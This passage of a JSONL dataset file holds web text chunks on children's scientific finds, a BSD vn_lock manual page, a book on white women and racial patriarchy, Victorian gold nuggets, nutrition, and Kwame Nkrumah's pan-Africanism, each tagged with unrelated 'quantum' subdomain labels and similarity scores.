astronomical discovery category is shay bloxton. although shay is about five years older, her 2010 discovery of a pulsar is still pretty impressive. the high school sophomore was participating in a program with the national radio astronomy observatory when she found the pulsar. and that \u2019 s not the only amazing discovery to come out of the program \u2013 in 2009, another high school student found a rotating radio transient, an object similar to a pulsar. 8. five - year - old emelia fawbert was helping her dad at an excavation a couple of years ago when she turned up a vertebra bigger than her head. although the excavation turned up a couple of other bones as well, emelia \u2019 s was the best. it once belonged to a giant rhinoceros that roamed the gloucestershire area of england about 50, 000 years ago. 9. kids find bugs every day, but the furry moth little katie dobbins found on the windowsill in her house was no ordinary moth - it was an euonymus leaf notcher, native to asia. that may not seem unusual until you hear that katie lives in the u. k. where the moth had never been sighted before. six - year - old katie was said to have been very excited about all of the hub", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4794623025316779, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.369697"} {"text": "vn _ lock ( 9 ) bsd kernel manual vn _ lock ( 9 ) vn _ lock - acquire the vnode lock # include < sys / types. h > # include < sys / vnode. h > int vn _ lock ( struct vnode * vp, int flags, struct proc * p ) ; the vn _ lock ( ) function is used to acquire the vnode lock. certain file system operations require that the vnode lock be held when they are called. see sys / kern / vnode _ if. src for more details. the vn _ lock ( ) function must not be called when the vnode ' s reference count is zero. instead, the vget ( ) function should be used. the flags argument may contain the following flags : lk _ retry return the vnode even if it has been reclaimed. lk _ interlock must be set if the caller owns the vnode interlock. lk _ nowait don ' t wait if the vnode lock is held by someone else ( may still wait on reclamation lock on or in - terlock ). must not be used with lk _ retry. lk _ exclusive acquire an exclusive lock. lk _ shared acquire a shared lock. the vn _ lock ( ) function can sleep. the vn _ lock ( ) releases the vnode inter - lock before exit. upon successful completion, a value of 0 is returned. otherwise, one of the following errors is returned. [ enoent ] the vnode has been reclaimed and is dead. this error is only returned if the lk _ retry flag is not passed. [ ebusy ] the lk _ nowait flag was set and vn _ lock ( ) would have slept. the locking discipline is bizarre. many vnode operations are passed locked vnodes on entry but release the lock before they exit. discussions with kirk mckusick indicate that locking discipline evolved out of the pre - vfs way of doing inode locking. in addition, the current locking dis - cipline may actually save lines of code, esp. if the number of file sys - tems is fewer than the number of call sites. however, the vfs interface would require less wizardry if the locking discipline were simpler. the locking discipline is used in some places to attempt to make a series", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.5172981802290941, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.373006"} {"text": "the number of file sys - tems is fewer than the number of call sites. however, the vfs interface would require less wizardry if the locking discipline were simpler. the locking discipline is used in some places to attempt to make a series of operations atomic ( e. g., permissions check + operation ). this does not work for non - local file systems that do not support locking ( e. g., nfs ). are vnode locks even necessary? the security checks can be moved into the individual file systems. each file system can have the responsibility of ensuring that vnode operations are suitably atomic. the lk _ nowait flag does prevent the caller from sleeping. the locking discipline as it relates to shared locks has yet to be de - fined. miros bsd # 10 - current march 9, 2001 1 generated on 2013 - 04 - 27 00 : 20 : 00 by $ miros : src / scripts / roff2htm, v 1. 77 2013 / 01 / 01 20 : 49 : 09 tg exp $ these manual pages and other documentation are copyrighted by their respective writers ; their source is available at our cvsweb, anoncvs, and other mirrors. the rest is copyright \u00a9 2002 \u2012 2013 the miros project, germany. this product includes material provided by thorsten glaser. this manual page \u2019 s html representation is supposed to be valid xhtml / 1. 1 ; if not, please send a bug report \u2013 diffs preferred.", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.4988482072235772, "token_count": 315, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.373604"} {"text": "the fair sex white women and racial patriarchy in the early american republic publication year : 2001 choice outstanding academic title 2002 once the egalitarian passions of the american revolution had dimmed, the new nation settled into a conservative period that saw the legal and social subordination of women and non - white men. among the founders who brought the fledgling government into being were those who sought to establish order through the reconstruction of racial and gender hierarchies. in this effort they enlisted \u201c the fair sex, \u201d \u2014 white women. politicians, ministers, writers, husbands, fathers and brothers entreated anglo - american women to assume responsibility for the nation ' s virtue. thus, although disfranchised, they served an important national function, that of civilizing non - citizen. they were encouraged to consider themselves the moral and intellectual superiors to non - whites, unruly men, and children. these white women were empowered by race and ethnicity, and class, but limited by gender. and in seeking to maintain their advantages, they helped perpetuate the system of racial domination by refusing to support the liberation of others from literal slavery. schloesser examines the lives and writings of three female political intellectuals \u2014 ; mercy otis warren, abigail smith adams, and judith sargent murray \u2014 ; each of whom was acutely aware of their tenuous position in the founding era of the republic. carefully negotiating the gender and racial hierarchies of the nation, they at varying times asserted their rights and demurred to male governance. in their public and private actions they represented the paradigm of racial patriarchy at its most complex and its most conflicted. published by : nyu press download pdf ( 24. 0 kb ) download pdf ( 34. 2 kb ) the fair sex : white women and racial patriarchy in the early american republic stems from my dissertation, a feminist interpretation of the american founding ( 1994 ). in my dissertation, i applied carole pateman \u2019 s theory of modern patriarchy from the sexual contract to the historical case of the american founding. i viewed the american... download pdf ( 27. 3 kb ) i would like to acknowledge and thank the many persons who provided support that enabled me to complete the book. joan hoff believed in my project from the start, and stood behind me for ten years. carole pateman read my early work on patriarchy and the american founding and gave her encouragement. sheila skemp graciously shared her... 1. race, gender, and woman citizenship in the american", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44884848128145116, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.382693"} {"text": "stood behind me for ten years. carole pateman read my early work on patriarchy and the american founding and gave her encouragement. sheila skemp graciously shared her... 1. race, gender, and woman citizenship in the american founding download pdf ( 50. 6 kb ) scholarly debates on the american founding have only recently begun to put gender and race at the center of analysis. the field of american political thought, established and dominated by white male historians and political theorists, has centered on republicanism since the 1960s. with some notable exceptions, few works in the field have analyzed the... 2. toward a theory of racial patriarchy download pdf ( 133. 6 kb ) republics, ancient and modern, are built on hierarchy. in plato \u2019 s republic, socrates concedes to his followers that to implement his scheme of republicanism, a \u201c noble falsehood \u201d will have to be told to persuade all members of society to accept their prescribed roles within the hierarchy that undergirds his ideal state. in this \u201c myth of the metals, \u201d hierarchy is naturalized metaphorically... 3. the ideology of the \u201c fair sex \u201d download pdf ( 104. 3 kb ) the theory of racial patriarchy suggests that white women were ambiguously positioned in the hierarchy of gender and race relative to white men and nonwhite persons of both sexes. this ambiguity was neither happenstance nor inexplicable, but culturally produced through discourses on the \u201c fair sex \u201d which circulated through letters... 4. the philosopher queen and the u. s. constitution : mercy otis warren as a reluctant signatory download pdf ( 106. 9 kb ) when we think about american founders, we think about famous men, like thomas jefferson, george washington, james madison, john adams, and alexander hamilton, who were active in the movement for independence, the framing of the constitution, and as executives in early administrations. although most american government textbooks include a section... 5. from revolution to racial patriarchy : the political pragmatism of abigail adams download pdf ( 130. 3 kb ) the most remarkable thing about abigail adams as a political thinker is that she completely reversed her political principles within two decades. during the mid - 1770s, as hostilities intensified between england and the colonies, abigail supported american independence. at that time she spoke the language of the enlightenment. noting the ramifications of a universalized human being with natural... 6. gleaning a self between the lines : judith sargent murray", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5180596263056222, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.383728"} {"text": "and the colonies, abigail supported american independence. at that time she spoke the language of the enlightenment. noting the ramifications of a universalized human being with natural... 6. gleaning a self between the lines : judith sargent murray and the american enlightenment download pdf ( 112. 4 kb ) does judith sargent murray reproduce the orthodoxy of fair sex ideology for mass consumption, to avoid persecution for her radicalism? or does she do it because ultimately, she desires domination? can we even speak of murray as a unified self with a coherent political strategy? who was judith sargent murray, and why have her writings been so... download pdf ( 36. 8 kb ) at times they have maximized both identifications, viewing themselves as the moral equals of white men, yet unjustly oppressed, like the slave or disfranchised other. this dual identification works as a strategy to criticize hierarchical relations that unjustly privilege white men and oppress women and minorities. sarah and angelina grimke \u2019 s observations... download pdf ( 38. 1 kb ) it is fashionable for politicians and political strategists to refer to the founding fathers to justify their own political agendas. these agendas often include a subtle reification of the values and hierarchies that were in place in the late eighteenth century. i wrote the fair sex to uncover these hierarchies and to present the political thought of three anglo - american women in that context. in the... download pdf ( 33. 6 kb ) download pdf ( 92. 0 kb ) download pdf ( 60. 0 kb ) download pdf ( 42. 0 kb ) about the author download pdf ( 14. 2 kb ) pauline schloesser received a ph. d. from indiana university in 1994, specializing in political theory, women \u2019 s studies, and american politics. she has taught at indiana university, depauw university, and iowa state university. currently she serves as associate professor... page count : 256 publication year : 2001", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4531795603809931, "token_count": 413, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.384533"} {"text": "nuggets are large masses of gold found in soil and stream beds, known broadly as alluvial deposits. while nuggets have been found on many goldfields around the world, those from victoria were particularly large and abundant. from the time of the first goldrushes in the early 1850s, the discovery of a large nugget generated such excitement that news spread far and wide. thousands of people from around the world migrated to victoria, dreaming of making their fortunes on goldfields dripping, so they hoped, with nuggets. pride of australia nugget. d. 25. 23source : museum victoria no one knows how many nuggets were found. during the late 1800s, the mines department compiled an official list of discoveries and also made models of some of the large nuggets. by the time the reporting system ceased in about 1910, 1300 nuggets over 20 ounces had been recorded. however, almost certainly many more nuggets were found than were recorded, as many discoverers avoided publicity for fear of being robbed. none of the large nuggets found during the goldrushes survived, as all were quickly melted down. today, fossickers with metal detectors still find large nuggets \u2013 those that the original diggers missed \u2013 on the victorian goldfields. while there are several theories for the origin of nuggets, the evidence points conclusively to them coming from the gold - bearing quartz reefs. many big alluvial nuggets contain lumps of quartz, or show imprints of quartz crystals enclosed by the gold as it crystallised in cavities in the reefs. why large masses should suddenly crystallise is not completely understood. however, it has something to do with conditions in the surrounding rocks changing the solubility of gold in the warm water that had dissolved it in huge amounts and carried it up from deep in the crust. in some goldmines, large slugs of gold were found where quartz reefs cut particular layers in the surrounding sedimentary strata. these layers became known as \u2018 indicators \u2019 and were actively sought out by the early miners. over millions of years of erosion, the landscape was worn down, exposing the quartz reefs and the enclosed gold. gradually, weathering caused the reefs to disintegrate, freeing the lumps of gold. these moved into the soil, then down slope into the nearest stream. victorian nuggets are rich in gold, with most being at least 95 % gold, or about 23 carats.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.47764417415087956, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.392673"} {"text": "disintegrate, freeing the lumps of gold. these moved into the soil, then down slope into the nearest stream. victorian nuggets are rich in gold, with most being at least 95 % gold, or about 23 carats. the remainder is mostly made up of silver dissolved in the gold. the composition of the nuggets is very similar to the composition of gold found directly in the quartz reefs. the welcome stranger, found near moliagul in 1869, is the biggest known nugget, containing 2300 ounces of gold. welcome stranger nugget. d. 25. 24 source : museum victoria the welcome, from bakery hill at ballarat in 1858, contained 2200 ounces. the 1743 - ounce blanche barkly, found at kingower in 1857, the 1600 - ounce precious, found near rheola in 1871, and the 1110 - ounce viscount canterbury, found in 1871, also at rheola, were other big finds. in the 20th century, the largest known nugget found with a metal detector was the hand of faith, containing 870 ounces, from kingower in 1980. hand of faith nugget. d. 25. 19 source : museum victoria the museum has only one nugget, the 50 ounce bunyip, ploughed up near bridgewater in the early 1970s. however, it has the historical collection of gold nugget models made by the department of mines, as well as models of recently discovered nuggets. terry f. potter, 1999. the welcome stranger. hi bruce. thanks for your enquiry. we have not been able to find any reference to one of the largest gold nuggets found by tram workmen in melbourne, ballarat or bendigo. it is not mentioned in the list of the biggest nuggets above, nor in this website, which discusses some of the gold finds in melbourne. you may also be able to contact ballarat & bendigo historical societies and museums to see if they know anything about the story. we love receiving comments, but can \u2019 t always respond. hi there! we asked our geology expert, who says that it is a complex question and depends on the state you are in, and the status of the land in question. you can try the prospectors and miners association of victoria as a good starting point for research about the ownership of gold nuggets. hi omega. it might be possible for one of our mineralogists to look at an image of the gold", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.4384797883342385, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.393549"} {"text": ". you can try the prospectors and miners association of victoria as a good starting point for research about the ownership of gold nuggets. hi omega. it might be possible for one of our mineralogists to look at an image of the gold pieces and advise on whether they are real. if they can ' t tell from a photo, they can suggest some other avenues for you to try. forward your images and request from our identifications page and we ' ll get back to you. katie, we don ' t have a photo of the welcome nugget on our website but you can see it the powerhouse museum ' s here monica, the museum does not offer valuations, and the hand of faith is not an item in our collection. you could contact a professional gold valuer for further advice. hi naomi. the precious nugget was valued at about 6868 sterling pounds. a model of the nugget and further information can be found at the powerhouse museum. unfortunately we couldn ' t find the value of the viscount canterbury nugget when it was discovered in 1870 but it weighed 1114 oz and you be able to find out the gold prices of that period in the newspapers of the day. try searching them on australia trove on the national library of australia website. gold prices vary daily, so to work out what they are worth today you could calculate it by looking at the gold prices in the daily paper, on the internet or on the nightly news. hi, the museum does not offer valuations, and the hand of faith is not an item in our collection. you could contact a professional gold valuer for further advice. hi haley, bailey & rochelle. we don ' t have the biggest nuggest in australia but we do have a list of those in victoria. 1. the welcome stranger, 2284oz, finder : john deason & richard oates, 1859, moliagul ; 2. the welcome, 2217oz, red hill mining co, 1858, bakery hill ballarat ; 3. the blanche barkly, 1743oz, unknown, 1857, kingower ; 4. the precious, 1717oz, ah chang & party, 1871, catto ' s paddock, berlin ; 5. the canadian, 1619oz, unknown, 1853, canadian gully ballarat ; 6. the lady hotham, 1177oz, unknown, 1854, dalton ' s flat ballarat ; 7. the sarah sands, 1177oz, unknown, 1853, canadian gully ball", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4582098834820617, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.394422"} {"text": "unknown, 1853, canadian gully ballarat ; 6. the lady hotham, 1177oz, unknown, 1854, dalton ' s flat ballarat ; 7. the sarah sands, 1177oz, unknown, 1853, canadian gully ballarat ; 8. viscount canterbury, 1114oz, schlossman & davis, 1870, john ' s paddock kangederaar ; 9. unnamed nugget, 1034oz, unknown, 1855, blackman ' s lead maryborough ; 10. unnamed nugget, 1011oz, unknown, 1853, canadian gully ballarat. hi haley and bailey, we have found a reference in the mineralogical record that suggests australia ' s biggest 10 nuggets by net weight are 1. welcome stranger, victoria, 2, 520 ounces, 2. welcome, vic, 2, 217. 3. blanche barkly, vic, 1, 743. 4. precious, vic, 1, 717. 5. canadian, vic, 1, 319. 6. burrandong, nsw, 1, 286. 7. lady hotham, vic, 1, 177. 8. the golden eagle, wa, 1, 135. 9. sarah sands, vic, 1, 117. 10. viscount canterbury, vic, 1, 114. hi olivia, the berlin goldfield is now known as rheola, and is in the greater bendigo region of victoria. thanks for your question misael. the largest gold nugget on display is the hand of faith, found at kingower in victoria, in 1980. it was purchased privately by the golden nugget casino in las vegas, and is on display there. melbourne museum also has life - sized replicas of nuggets on display, and a genuine nugget, the bunyip nugget, in its collection. hi amy, the welcome stranger no longer exists. it was sold after it was found and melted down. a replica is housed in the old treasury building in melbourne. olivia, we do not have an image of the blanche barkly nugget in our own collection. nor do we have a replica of the nugget. there may have been an image of this nugget in london newspapers when it was returned to the uk. you may also wish to search for image of the nugget using the picture australia website. hi lisa, perhaps contact the south australian museum, they may offer an identification service, or be able to suggest somewhere closer", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.407314131255411, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.396364"} {"text": "it was returned to the uk. you may also wish to search for image of the nugget using the picture australia website. hi lisa, perhaps contact the south australian museum, they may offer an identification service, or be able to suggest somewhere closer to home for you to take your specimens. the best source for this kind of information would be the department of primary industries. best of luck! hi kylie, gold was formed millions of years ago and as a molten metal was forced into seams in various rock formations. as those millions of years passed, the action of water and temperature changes destroyed the rocks and the gold was washed out into rivers and creeks. why is gold found on the bottom of rivers? gold is a very heavy metal - it is nearly twice as dense as lead - so it quickly falls to the bottom of the stream. hope this helps. hi kylie, it appears that gold is usually found in quartz rocks. due to erosion, the rocks are broken down and the gold particles are then released into the environment and run - off carries these particles to rivers. because gold is a heavy metal, it sinks to the bottom of the river bed, see here. some nuggets have been found in some rivers and creeks in png, but obviously these aren ' t very common because gold itself is quite rare. significant finds have been made near mt kare in png, for example. hi! thanks for the question, without an image an accurate identification is impossible, the object sounds like a nugget of pure ' blue '! good question, bro - we ' ve done some research on this and we think a useful educational site with links to other sources is : http : / / www. enotes. com / topics / gold - rush. an interesting first - hand account of a gold - seekerfrom the california gold rush, with information about the discovery, can be read at : http : / / www. eyewitnesstohistory. com / californiagoldrush. htm. many of the diggers came to victoria in 1851 when gold was discovered here, and made a contribution to victoria \u2019 s history. hope this information is of interest you can find lots more information on gold by visiting dynamic earth, a stunning exhibition at melbourne museum that uses cutting - edge technology and thousands of minerals to tell the story of our ever - changing planet. whilst visiting the museum stop in at the discovery centre and have a look at some of fantastic books on gold and mineralogy. hi maddi, gold", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.4738683099789679, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.397960"} {"text": "uses cutting - edge technology and thousands of minerals to tell the story of our ever - changing planet. whilst visiting the museum stop in at the discovery centre and have a look at some of fantastic books on gold and mineralogy. hi maddi, gold was first discovered near bathurst, nsw in 1823 by o ' brien, the nsw government surveyor. the first gold nugget ( 16 ounces ) appears to have been found in january 1849 by thomas chapman at daisy hill, near maryborough, victoria. but, in june 1851, james esmond was the first to claim a registered finding of a 51 ounce nugget in clunes, victoria. hi kim, the largest nuggets found are listed in the article above, under the ' which are the biggest nuggets? ' heading. the largest nugget in moliagul was found at black lead, at a depth of 1 inch. hello eden - we checked with our geology department on this, and they ' ve provided the following info : the precious is 40. 5 x 29 x 11. 5 cm hope this helps! the following museum victoria webpages have information and images relating to your father ; photograph - brian mchugh, 1990s, csiro division of radio... to read the latest tweets from @ museumvictoria follow museum victoria on this exhibition is really good - go. hire the audio guide and be prepared for more gold than tutankhamun. i guarantee you will go home both reflective on the w...", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.43757154458117176, "token_count": 309, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.398522"} {"text": "earth cuisine for longevity ( photo credit : barry gourmet and raw ) healthy diet essentials according to the united states department of agriculture, a healthy diet as one that emphasizes fruits, vegetables, whole grains, and fat - free or low - fat milk and milk products ; includes lean meats, poultry, fish, beans, eggs, and nuts ; and is low in saturated fats, trans fats, cholesterol, salt ( sodium ), and added sugars. but just what minerals and nutrients are vital to our health and well - being? consider these nutrient - dense foods when you \u2019 re looking to improve your vitamin and mineral intake. vitamin a is needed for good eyesight and optimal functioning of the immune system. cod liver oil, dairy products, sweet potatoes and dark green leafy vegetables are all great natural food sources of vitamin a. vitamin b1, also known as thiamine, is imperative to the body \u2019 s ability to process carbohydrates. whole grain breads, cereals and pastas have high amounts of thiamine. riboflavin, or b2, can be found in fortified cereals, almonds, asparagus, eggs, and meat. it \u2019 s used in many body processes, including converting food into energy and the production of red blood cells. niacin, also known as b3, can be found in lean chicken, tuna, salmon, turkey, enriched flour, peanuts, and fortified cereals. it aids in digestion and also plays a key role in converting food into energy. vitamin b6 can be found in fortified cereals, fortified soy - based meat substitutes, baked potatoes with skin, bananas, light - meat chicken and turkey, eggs, and spinach. it \u2019 s vital for a healthy nervous system, and helps break down proteins and stored sugars. vitamin b12 is needed for creating red blood cells, and can be found in beef, clams, mussels, crabs, salmon, poultry, and soybeans. citrus fruits, red berries, tomatoes, potatoes, broccoli, cauliflower, brussels sprouts, red and green bell peppers, cabbage, and spinach are all loaded with vitamin c, which is vital to promoting a healthy immune system, and making chemical messengers in the brain. vitamin d can be found in fortified milk, cheese, and cereals ; egg yolks ; salmon ; but can also be made by the body from sunlight exposure. it \u2019 s needed to process calcium", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45803765729162343, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.402980"} {"text": ", and making chemical messengers in the brain. vitamin d can be found in fortified milk, cheese, and cereals ; egg yolks ; salmon ; but can also be made by the body from sunlight exposure. it \u2019 s needed to process calcium and maintain the health of bones and teeth. vitamin e functions as an antioxidant and is essential to your skin \u2019 s good health. eat plenty of leafy green vegetables, almonds, hazelnuts, and vegetable oils like sunflower, canola, and soybean to get this vital nutrient. folic acid can be found in fortified cereals and grain products ; lima, lentil, and garbanzo beans ; and dark leafy vegetables. it \u2019 s vital for cell development, prevents birth defects, promotes heart health, and helps red blood cells form. pregnant women need to take special care to ensure they are getting enough of this for themselves and their developing baby. dairy products, broccoli, dark leafy greens like spinach and rhubarb, and fortified products, such as orange juice, soy milk, and tofu are all loaded with calcium. like vitamin d, it \u2019 s very important in helping to build and maintain strong bones and teeth. organ meats, oysters, clams, crabs, cashews, sunflower seeds, wheat bran cereals, whole - grain products, and cocoa products are all high in copper, which aids in metabolism of iron and red cell formation. it also assists in the production of energy for cells. iron can be found in leafy green vegetables, beans, shellfish, red meat, poultry, soy foods, and some fortified foods. it \u2019 s needed to transport oxygen to all parts of the body via the red blood cells. potassium can be found in foods like broccoli, potatoes ( with the skins on ), prune juice, orange juice, leafy green vegetables, bananas, raisins, and tomatoes. it aids in nervous system and muscle function and also helps maintain a healthy balance of water in the blood and body tissues. red meat, fortified cereals, oysters, almonds, peanuts, chickpeas, soy foods, and dairy products are great dietary sources of zinc. zinc supports the body \u2019 s immune function, reproduction capabilities, and the nervous systems. protein is the main component of muscles, organs, and glands. every living cell and all body fluids, except bile and urine, contain protein. the cells of muscles, tendons, and ligaments", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5026353575908113, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.403942"} {"text": "function, reproduction capabilities, and the nervous systems. protein is the main component of muscles, organs, and glands. every living cell and all body fluids, except bile and urine, contain protein. the cells of muscles, tendons, and ligaments are maintained with protein. children and adolescents require protein for growth and development, and adults need it to maintain cell integrity. it can be found in foods like beans, milk and meat. the primary function of carbohydrates is to provide energy for the body, especially the brain and the nervous system. complex carbohydrates are the best choice for a stable blood sugar level. whole grain breads and cereals, legumes, and starchy vegetables are all good complex carbohydrate sources. essential fatty acids play a part in many metabolic processes, and there is evidence to suggest that low levels of essential fatty acids, or the wrong balance of types among the essential fatty acids, may be a factor in a number of illnesses. good sources are fish and shellfish, flaxseed, canola oil, pumpkin seeds, sunflower seeds, leafy vegetables, and walnuts. though this list is far from complete, it gives a good base of knowledge on which to build a healthy, well - balanced diet. brussels sprout, dairy product, eating, food, health, healthy diet, healthy ways to lose weight, human nutrition, international food information council, leaf vegetable, milk, nutrition, red blood cell, united states department of agriculture, usda, vitamin, weight", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5355696638047194, "token_count": 316, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.404567"} {"text": "by kwesi pratt, jnr dr. kwame nkrumah was not just the first president of ghana but a very extraordinary man whose life and works contributed significantly to changing the world. he grew from a little village boy in nkroful in the western region of ghana to a world leader fully devoted to the struggle to free all black people from all forms of racism. he was also against everything which kept people irrespective of their colour in conditions of slavery. he opposed oppression and exploitation in all its forms. many historians including basil davidson and f. k. buah credit nkrumah with the leadership of the struggle which led to granting independence to many african countries under various forms of colonialism. indeed nkrumah is placed in the same category as einstien, karl marx, v. i. lenin, tousant o \u2019 liverture and mahatama ghandi whose ideas and actions helped to make the world a better place. amongst the many things which make nkrumah stand out as an extraordinary personality was his realization that africans everywhere ought to unite in common effort to assert their dignity and use their resources for meeting their needs and realizing their aspirations. his ideas for the unity of all africans has come to be known as pan - africanism and they have their roots in his experiences as a colonial subject, his sojourn in the united states of america and the racist experience he suffered there and his association with pan - africanist thinkers of the time including w. e. b. dubious, marcus garvey, george padmore and makonnen. after completing his elementary school education, nkrumah went to achimota school from where he graduated as a teacher. he was still burning with ambition to excel academically and in 1935, he left for the united states of america where he enrolled at the lincoln university, first obtaining a bachelor of arts degree and later doing a masters course at the philadelphia university. given the fact that nkrumah came from a poor background, he had to work to pay for his education. he worked as a waiter and sometimes as a dish washer. he did anything which would put a few dollars in his pocket and help him fend for himself in a land which was obviously strange to a village boy from nkroful. nkrumah experienced racism at first hand. he saw that africans were all victims of racism no matter where they came from. in searching for to questions about racism nkrumah joined black students organizations and became acquainted with the ideas of such activists as", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44630560940375863, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.410962"} {"text": ". nkrumah experienced racism at first hand. he saw that africans were all victims of racism no matter where they came from. in searching for to questions about racism nkrumah joined black students organizations and became acquainted with the ideas of such activists as marcus garvey. he read widely and was transformed into an activist. when nkrumah moved to london in 1945, he joined other africans and persons of african decent in implementing the ideas he had formed. they worked in the west african students union and the west african national secretarial for the sole purpose of accelerating the independence process in west africa as part of the general struggle of emancipating the african wherever he may be. nkrumah had established contact with george padmore one of the key organizers of the 5th pan african congress before he arrived in the united kingdom and it was indeed padmore who found accommodation for him at the west african students union \u2019 s hostel. padmore guided nkrumah in his early days in london and together they plunged into work for the 5th pan african congress held in manchester in october 1945. according to june milne, a biographer of nkrumah, the 5th pan african congress was a departure from earlier ones to the extent that there was a strong participation from the youth and students of africa. in her book \u201c kwame nkrumah, a biography \u201d she asserts that earlier pan african congresses were dominated professionals and members of the intellectual class. it is widely held that nkrumah \u2019 s own involvement with the west african students union and associations of african students in the united states of america contributed largely to this departure. the strong participation of youth and students in this congress was also a clear manifestation of nkrumah \u2019 s organizational ability. the 5th pan african congress was particularly important because it defined and clarified the ideology of pan - africanism. it defined pan africanism as an anti - imperialist concept and saw its prime movers as workers and the underprivileged. pan africanism was also seen as an enterprise at building socialism. a resolution which was drafted by nkrumah and adopted by the congress read as follows ; \u201c we believe in the rights of all peoples to govern themselves. we affirm the rights of all colonial peoples to control their own destiny. all colonies must be free from foreign imperialist control, whether political or economic. the peoples of the colonies must have the right to elect their own government ; a government without restrictions from a foreign power. we say to the peoples of the colonies that they must strive for these goals by", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45376008845024357, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.412918"} {"text": "foreign imperialist control, whether political or economic. the peoples of the colonies must have the right to elect their own government ; a government without restrictions from a foreign power. we say to the peoples of the colonies that they must strive for these goals by all means at their disposal. \u201c the object of imperialist powers is to exploit. by granting the right to the colonial peoples to govern themselves, they are defeating that objective. therefore, the struggle for political power by the colonial and subject peoples is a first step towards, and the necessary pre - requisite to complete social, economic and political emancipation. \u201c the fifth pan - african congress, therefore, calls on the workers and farmers of the colonies to organize effectively, colonial workers must be in the frontlines of the battle against imperialism \u2026 \u2026 \u201d nkrumah \u2019 s success in helping to organize the 5th pan african congress and his activities in the west african union spread way beyond england to all corners of the african world. the leadership of the united gold coast convention ( ugcc ) heard of the exploits of this man at a time when their own organization needed rejuvenation. they quickly invited nkrumah to take up the full time position of general secretary of the convention. by accepting to become the general secretary of the ugcc, nkrumah did not abandon the pan african ideal. as a matter of fact when he returned to the gold coast in 1947, he recognized that he was only taking one step towards the unification of the african continent as a home for africans everywhere. he kept his contacts with padmore, mahonnen, and all the others with whom he had worked on the pan african project. it is significant that on the eve of ghana \u2019 s independence on 6th march 1957, he declared loudly that \u201c the independence of ghana is meaningless until it is linked to the total liberation of the african continent \u201d the organization of the all african people \u2019 s conference in accra only one year after the declaration of independence attest to the pan - african agenda of dr kwame nkrumah. this conference brought together the newly independent states in africa and the national liberation movement to strategize on how to speed up the decolonization process. it was also the beginnings of what became known as the organization of african unity ( oau ). one year after ghana \u2019 s independence, nkrumah pushed for the ghana - guinea union as the nucleus of the continental union government of africa. in 1961, mali was drawn into the union which became the spearhead of the agitation for", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4347847954497818, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.414521"} {"text": "##au ). one year after ghana \u2019 s independence, nkrumah pushed for the ghana - guinea union as the nucleus of the continental union government of africa. in 1961, mali was drawn into the union which became the spearhead of the agitation for a continental government. the oau was eventually formed in 1963. whiles desperately forging the unity of the states in africa, nkrumah maintained his contacts with africans everywhere in the world. he spoke out for the civil rights movement in the usa and met with malcom x on more than one occasion. 